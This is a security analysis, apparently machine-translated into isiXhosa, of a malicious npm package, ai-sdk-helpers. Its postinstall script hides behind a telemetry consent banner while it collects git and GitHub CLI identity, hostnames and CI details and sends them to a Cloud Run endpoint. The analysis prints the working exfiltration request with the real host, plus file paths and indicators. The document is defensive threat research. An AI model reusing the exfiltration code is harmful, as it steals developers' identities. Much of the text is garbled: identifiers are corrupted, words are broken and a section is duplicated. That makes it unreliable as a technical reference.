TL; DR
Iphakheji enye ye-npm, abancedisi be-ai-sdk, iziveza njengesixhobo sokuvelisa iVercel AI SDK, enikezela ngokulandelela iindleko, ukubuyiselwa kwemali kubaboneleli, kunye nabancedisi bokusasaza.
Iskripthi sayo sexesha lokufaka sivula ngesibhengezo esicacileyo esichaza ukuxilongwa okungaziwa, ethembisa ukuba akukho khowudi yomthombo, iithokheni, okanye iziqinisekiso ezithunyelwayo, nto leyo ehlonipha DO_NOT_TRACK ukuphuma, kunye nokuqhagamshela kwiphepha lomgaqo-nkqubo we-telemetry.
Iskripthi esifanayo emva koko sifunda isazisi se-git somphuhlisi, ulungiselelo lwe-GitHub CLI, igama lomphathi womatshini, igama lomsebenzisi le-OS, isikhombisi esisebenzayo, kunye nomboneleli we-CI.
Loo datha ithunyelwa njengeJSON kwisiphelo seGoogle Cloud Run, nto leyo edala ukungafani okucacileyo phakathi komgaqo-nkqubo we-telemetry ochaziweyo kunye namasimi aqokelelweyo.
Le phakheji ipapashwe kwiinguqulelo ezingamashumi amabini anesibini ngaphakathi kwe-burst enye yemizuzwana engama-83, kwaye iskripthi sokufaka siyafana nge-byte-for-byte kuzo zonke iinguqulelo eziphawulweyo.
Iinguqulelo ezisixhenxe kwezisibhozo eziphononongwe yi- pipeline Amanqaku angakhange agqitywe yi-ML classifier kuba isitayile se-consent-banner sifundeka njenge-telemetry esemthethweni.
Siyahlela ai-sdk-helpers njengenobungozi ngokusekelwe ekuqokeleleni isazisi somphuhlisi ngexesha lokufaka kunye nokukhupha idatha.
Ubunzima: phezulu.
I-Anatomy yofakelo
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }postinstall isebenza ngokuzenzekelayo npm ukufaka, ngaphambi kokuba nayiphi na ikhowudi ebhengeziweyo yephakheji ingeniswe. Iskripthi izikripthi/i-postinstall.js kulapho yonke indlela yokuziphatha ngexesha lokufaka ihlala khona.
Ivula ngebhloko yezimvo kunye nesaziso sexesha lokusebenza esibhalwe kwirejista yeprojekthi yomthombo ovulekileyo oqaphela ubumfihlo:
>Xa ufaka ii-ai-sdk-helpers, sijonga ngokukhawuleza ukuhambelana kwendalo kwaye sixele ukuxilongwa okungaziwayo… Idatha ayichazwanga ngokupheleleyo — siqokelela iqonga lakho, inguqulelo yeNode, kunye ne-hash yendlela enye yesazisi sakho somatshini. Akukho khowudi yomthombo, iithokheni, okanye iziqinisekiso ezithunyelwayo.
Ide ifake isango lokuphuma elisebenzayo, ikhowudi yokuqala esebenzisekayo kwifayile:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }Ukubophelela eli sango kuqala yikona okwenza okuseleyo kufundwe njengokuvumelanayo: umphuhlisi obeka `D_AKUKHO_TRACK` ibona ukufakelwa kugqityiwe buthule kwaye igqiba iphakheji ihlonipha isivumelwano. Ukukhetha ukuphuma okuhloniphekileyo kuyinyani. Oko ikuxelela kona, wonke umntu ongayibekiyo, yingqokelela echazwe ngezantsi - hayi "iqonga, inguqulelo yeNode, kunye ne-hash yendlela enye" amagama esaziso.
Ngaphantsi kwelo sango, iskripthi sihlanganisa umthwalo odlula kakhulu loo nkcazo.
- *Gubuwena.* rso mbululaScmUbuwena()` ii-eads `~.gitconfig`,`~.config/git/config`,kunye neprojekthi yangoku.it/config`,ihlalutya i-`[ser]` inxalenye, kwaye ibuyisela i-configured commit i-imeyile. Ukuba akukho fayile yoqwalaselo evelisa i-imeyile, ibuyela kwi-`GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,kunye no-EI-AIL` Iinguqu ze-nvironment. I-docstring engaphezulu komsebenzi ibeka i-read njenge "yokudlulisela ukufakwa kuzo zonke iimatshini eziphethwe ngumntu omnye (umz. ilaptop + i-CI)" - injongo echaziweyo efuna isihlonzi esizinzileyo somphuhlisi ngamnye, esibizwa ngokuba yi commit izixhobo ze-imeyile.
- *Giakhawunti ye-tHub.* rsolveGitHubIdentity()` ii-eads `~.config/gh/hosts.yml` kwaye `~.config/gh/hosts.yaml` ifayile yoqwalaselo ebhalwe yiGitHub CLI xa umphuhlisi eqinisekisa — kwaye i-regex-ikhupha i-`uer:` kwayeail:` ii-fields. Loo fayile ikwagcina i-GitHub OAuth token; i-regex yesikripthi ijolise ngokukodwa kwimigca yegama lomsebenzisi kunye ne-imeyile kwaye ayikhuphi i-token. Ibango lebhena yokutyhila elithi "akukho matokeni... are ever transmitted" ke ngoko liyinyani kuloo ntsimi inye ngelixa izazisi zeakhawunti ezijikelezileyo zifundwa kwaye zithunyelwa.
- *Himinwe ye-st kunye ne-CI.* iskripthi emva koko siqokelela 'oigama lomphathi()`,`o.ulwazi lomsebenzisi().igama lomsebenzisi`,inguqulelo yeNode, iqonga kunye noyilo, `pocess.cwd()`,kunye nelebhile yababoneleli be-CI esonjululwe ngokujonga iinguqu zendalo zababoneleli abasibhozo (iiGitHub Actions, iGitLab CI, iJenkins, iCircleCI, iTravis, iBuildkite, kunye neeflegi ezimbini ze-generic-CI). Uluhlu lwababoneleli lufunda njengoluhlu lweendawo apho iskripthi silindele ukuba siphumeze khona - iishelufu ezisebenzisanayo kunye nokwakhiwa okuzenzakalelayo. pipelineiyafana.
Zonke ezi zinto zihlanganiswe zaba yi-`d enyeabantu abangakholelwayo kuThixo bject, kunye namasimi omphuhlisi ngamnye aqokelelwe phantsi kwe-`iiqumrhu` ey kunye nedatha yomsingathi phantsi kwe-`rixesha` kunye ne-`cumbhalo` ii-eys, emva koko zilandelelaniswa kwaye zidluliselwe:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();Impendulo iyalahlwa kwaye zonke iimpazamo ziyaginywa — uluvo luphawula ukuba “i-telemetry akufuneki iphule ukufakelwa.” Igama le-host le-endpoint lifaka ikhowudi yenkonzo ye-Google Cloud Run kwi-`eintambo-entshona1` ummandla.
Isithuba sibali. Ibhena ibiza iindidi ezintathu zedatha — iqonga, inguqulelo yeNode, i-hash yokuchaza umatshini. Umthwalo womvuzo uthumela i-git yokwenyani yomphuhlisi commit i-imeyile, igama lomsebenzisi kunye ne-imeyile yabo yeGitHub, igama lomphathi wabo womatshini kunye negama leakhawunti ye-OS, indlela yabo yeprojekthi, kunye nendawo yabo ye-CI. Amasimi achaza *pi-rson kunye neeakhawunti zabo* zichanekile kanye iindawo ezishiyiweyo yingcaciso.
I-README iqinisa ukwakheka okuvela kwelinye icala. Icandelo layo elithi “Telemetry” liphinda ibango lokungaziwa kwaye lidibanisa igama elithi `D_AKUKHO_TRACK` o `cnsoledonotrack.com`,iphepha loluntu lokwenyani elibhala ngesivumelwano sokungaphumi — ukuboleka ubumfihlo obaziwayo standard ukwenza isaziso sifundwe njengesiqhelo.
Ixesha
Olu lufunyanwe lupakishwe ngepakeji enye enembali emfutshane kakhulu, exineneyo yokupapashwa. Akukho mgaqo wephulo leeveki ezininzi onokulandelwa — lonke uluhlu lwenguqulelo lutyhalelwe kwisantya somatshini.
| Nini (UTC) | umcimbi |
|---|---|
| 2026-06-03 20:31:20 | Inguqulelo yokuqala (0.1.0) ipapashwe kwi-npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Zonke iinguqulelo ezingama-22 (0.1.0 ngokusebenzisa 1.4.2) epapashwe kwi-automatic burst yemizuzwana engama-83. |
| 2026-06-04 | Iinguqulelo ezisibhozo ziphawulwe ziimpawu zokufumanisa; uhlalutyo lwesandla luqinisekisa ukuqokelelwa kunye nokuphuma kwesazisi ngexesha lokufaka. Iphakheji ibisoloko ibukhoma ngo-npm ngexesha lohlalutyo. |
Ifestile yemizuzwana engama-83 kwiinguqulelo ezingama-22 zentsingiselo ngokwayo iluphawu lokuziphatha: ileli yenguqulelo (`01.0`,`01.1`,... `14.2`)Ibonisa umphezulu weprojekthi egcinwe ngokukhutheleyo enembali yokukhululwa, eyenziwe ngexesha elinye. Iskripthi sokufaka asitshintshi kulo lonke elo nqanaba — jonga ngezantsi.
Iimpawu zokuvumelana
Umthwalo wexesha lokufaka uyafana kuluhlu lweenguqulelo ezipapashiweyo.ff` f `sii-ripts/postinstall.js` phakathi kwenguqulelo `02.1 `` inguqulelo `14.2 `` Ayibuyisi mahluko; indlela yokuziphatha ngumnwe omnye osisigxina, ayingomthwalo oguqukayo.
womnatha
Ifestile yemizuzwana engama-83 kwiinguqulelo ezingama-22 zentsingiselo ngokwayo iluphawu lokuziphatha: ileli yenguqulelo (`01.0`,`01.1`,... `14.2`)Ibonisa umphezulu weprojekthi egcinwe ngokukhutheleyo enembali yokukhululwa, eyenziwe ngexesha elinye. Iskripthi sokufaka asitshintshi kulo lonke elo nqanaba — jonga ngezantsi.
Iimpawu zokuvumelana
Umthwalo wexesha lokufaka uyafana kuluhlu lweenguqulelo ezipapashiweyo.ff` f `sii-ripts/postinstall.js` phakathi kwenguqulelo `02.1 `` inguqulelo `14.2 `` Ayibuyisi mahluko; indlela yokuziphatha ngumnwe omnye osisigxina, ayingomthwalo oguqukayo.
womnatha
| Isalathisi | indima |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Indawo yokungena kwi-Exfiltration ifumana izicelo ze-HTTPS POST kunye ne-JSON payloads. Ibanjwe kwi-Google Cloud Run kwi europe-west1 mmandla. |
Isiseko seDecoy
| Isalathisi | indima |
|---|---|
ai-sdk.guide | Iphakheji yasekhaya kunye newebhusayithi ephilayo exhasa ubuwena bombhali "we-AI SDK Guide". |
ai-sdk.guide/telemetry | I-URL yomgaqo-nkqubo we-Telemetry ikhankanyiwe kwisaziso sokutyhila ixesha lokufaka. |
hello@ai-sdk.guide | I-imeyile yombhali ibhengezwe kwi package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Indawo yokugcina imithombo ebhengezwe yiphakheji. |
Iifayile zifundwa ngexesha lokufakwa
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` i-git `[ser]` Ngeposi
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` I-GitHub CLI `uer` `eail`
Iimpawu zokuziphatha
- – m`pstinstall` ubiza iskripthi seNode esihlanganisiweyo
- – isango lokuphuma (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_AKUKHO_TRACK`)iboniswe njengophawu lwabucala, ngaphambi kokuqokelelwa kobuwena
- – tbound HTTPS POST yento yeJSON equlethe i-imeyile ye-git, isazisi seGitHub, igama lomninimzi, igama lomsebenzisi le-OS, i-cwd, kunye nelebheli ye-CI
- - iskripthi sokufaka esifanayo kwileri yenguqulelo epapashwe ngokukhawuleza
Ukuchazwa kunye nokuziphatha okujongiweyo
Asinanto siyibeka ngaphandle kwerekhodi yephakheji kunye nerejistri yemetadata.
Umgcini werekhodi we-npm yiakhawunti `aielsimon`,kunye nedilesi ethi `aiel@vigilance.security`.Irejistri idwelisa loo imeyile njengengaqinisekiswanga kwaye ubuwena bolawulo lomthombo weakhawunti njengobungaqinisekiswanga.ckage.json`,ngokwahlukeneyo, uveza umbhali njengo-“AI SDK Guide `ello@ai-sdk.guide>`”kunye nekhasi lasekhaya le-`a-sdk.isikhokelo` kunye nendawo yokugcina imithombo phantsi kwe-`gi-thub.com/ai-sdk-guide`. I-domain ye-imeyile ye-akhawunti yokushicilela (`vigilance.security`)kunye nobunikazi bombhali okwiphakheji (`a-sdk.isikhokelo`)ziidomeyini ezahlukeneyo.
I-`a-sdk.isikhokelo` into iyasebenza kwaye iyaphendula, kwaye i-`/i-elemetry` i-ath resolves — ubuwena be-decoy buxhaswa bubukho bewebhu obunokufikeleleka endaweni yekhonkco elifileyo, nto leyo ephakamisa ukukholeleka kwefreyimu yephakheji.
**Ubuchule obuqatshelweyo.** Ngexesha lokufaka, iphakheji ifunda ubuwena bomphuhlisi kunye neefayile zokumisela iakhawunti, ifinyeze iminwe kwindawo yomphathi kunye nendawo ye-CI, kwaye idlulisele isiphumo kwindawo yokugqibela elawulwa ngumsebenzisi, ngelixa ibonisa isaziso esichaza iseti yedatha encinci nengaziwayo. Sichaza le ndlela yokuziphatha; asiqinisekisi sizathu sayo. Abafundi abavavanya iphakheji - kuquka naliphi na iqela eliqaphela ubuwena bokushicilela - kufuneka balinganise ukungafani okubonakalayo phakathi kokuhamba kwedatha okuchaziweyo kunye nokwenyani.
Impembelelo, iindlela, kunye nesikhokelo sabakhuseli
Ngubani otyhiliweyo. Nabani na ofakela abancedisi be-ai-sdk — ngokuthe ngqo okanye njengokuxhomekeka okuguquguqukayo — kuqhuba ingqokelela kuloo matshini. Kuba i-trigger yiyo postinstall, ikhowudi yelayibrari ebhengeziweyo akufuneki ingeniswe ukuze ukuhamba kwedatha kwenzeke; ukufakwa kodwa kwanele. Iindawo ezinexabiso eliphezulu ziindawo zokusebenza zabaphuhlisi ezine-git identity ecwangcisiweyo kunye ne-GitHub CLI eqinisekisiweyo, kunye nee-CI runners, apho ukufunyanwa kwe-CI-provider yeskripthi kubonisa ukuba ingqokelela kulindeleke ukuba isebenze ngaphakathi kwesakhiwo. pipelinekunye nakwiilaptops.
Oko ikuvezayo. Ayizizo iimfihlo zesicelo kwimeko eqhelekileyo — umthwalo ugxile kwi yesazisi: umphuhlisi commit i-imeyile, igama leakhawunti yabo yeGitHub kunye ne-imeyile, amagama omatshini kunye neeakhawunti, kunye nendlela yeprojekthi. Loo nto ingaphambi kokubacisimaphu ye-e yokuba ngubani ofake iphakheji, kowuphi umatshini, kowuphi uvimba, kwaye phantsi kweyiphi inkqubo ye-CI. Kwintlangano, iirekhodi ezimbalwa ezinjalo ezidityanisiweyo ziya kubala ukuba zeziphi iinjineli kunye neziphi iinkqubo zokwakha ezitsale ukuxhomekeka - eziluncedo njengesandulela somsebenzi wokulandela ojolise ngakumbi, nangona ukuziphatha kwale phakheji kuphelela ekuqokeleleni nasekudluliseleni.
Intsingiselo: i-telemetry njengesiciko. Izixhobo zomphuhlisi ezisemthethweni ziqokelela uxilongo lokufaka olungaziwayo, kunye neendlela zokwenza oku ngentlonelo — isaziso sokutyhila, DO_NOT_TRACK imbeko, iflegi yokungavumi ukuphuma, i-URL yomgaqo-nkqubo - ziyaziwa kakhulu. abancedisi be-ai-sdk iphinda-phinda zonke ezo zivumelwano zine ngokuthembeka kwaye izisebenzisa njengesigqubuthelo sokuqokelela isazisi. Ubukho bebhena yemvume, ukukhetha ukuphuma okusebenzayo, okanye ikhonkco lomgaqo-nkqubo wabucala asibobungqina bokuba iphakheji ithembekile; ezo zilawuli azibizi kakhulu ukuzixelisa. Ukujonga okuthembekileyo kuphela kukuba ikhowudi ifunda ntoni na kwaye ithumela phi ngokwenene.
Olu phakeji lukwanomphumo olinganisekayo kwi-triage ezenzekelayo. Kuzo zonke iinguqulelo zethu pipeline iphononongiwe, izimvo zeskripthi sokufaka ezibhalwe ngolwimi olucacileyo, amagama entsimi acwangcisiweyo, kunye nesango lokuphuma eliqhelekileyo lifumene amanqaku njenge-telemetry eqhelekileyo: isixhenxe kwisibhozo sibuyile engavumelekanga ukusuka kwi-ML classifier endaweni yokuba yi-malicious. Isignali esombulula ukungacaci ayikho kwiprozi — ikwiifayile ezithile iskripthi esivulayo (~/.gitconfig, ~/.config/gh/hosts.yml) kunye nendawo ethumela kuyo. Umvavanyi, nokuba ngozenzekelayo okanye ngumntu, ofunda utyhilelo aze ayeke apho uya kufikelela kwisigqibo esingalunganga; isigqibo kufuneka sivele kwiinyani zokuhamba kwedatha.
Isikhokelo sabakhuseli:
- Ukufaka ngezikripthi ezikhutshaziwe ngokuzenzekelayo — ukufaka i-npm -ukungazi-izikripthi, okanye iseti izikripthi ezinganakwa = yinyani in .npmrc kwaye usebenzise amanyathelo okwakha avavanyiweyo ngokucacileyo. Oku kuyawuphelisa umsebenzi postinstall-kuqokelelwe yonke into.
- Musa ukuphatha ulawulo lokuphuma njengemiqondiso yokuthemba. DO_NOT_TRACK itshekhi okanye ikhonkco elithi “telemetry policy” alikuxeleli nto malunga nedatha eqokelelwa yiskripthi xa isango lingamiselwanga.
- Funda i-install hook ngaphambi kokuba usebenzise iipakethe zoncedo ze-AI-ecosystem. Indawo ye-Vercel AI SDK yindawo ekhawulezayo nethembekileyo kakhulu ekujoliswe kuyo; postinstall oko kuchukumisayo ~/.gitconfig or ~/.config/gh/ luphawu olucacileyo nokuba izimvo ezingqongileyo zibhalwa njani.
- Jonga ukuphuma kwexesha lokwakha. I-HTTPS POST ephumayo ngexesha npm ukufaka, ingakumbi kwisiphelo somsebenzi welifu esisandula ukunikezelwa, siyabonakala kumaleko wenethiwekhi kwaye yindawo eyomeleleyo yokufumanisa iimeko ze-CI.
- Jonga iiledri zenguqulelo ezicinezelweyo. Iphakheji enembali yayo yonke yenguqulelo yentsingiselo ebonakala kwimizuzwana embalwa, eneskripthi sokufaka esingatshintshiyo, ibonisa imbali yolondolozo eyenziweyo.
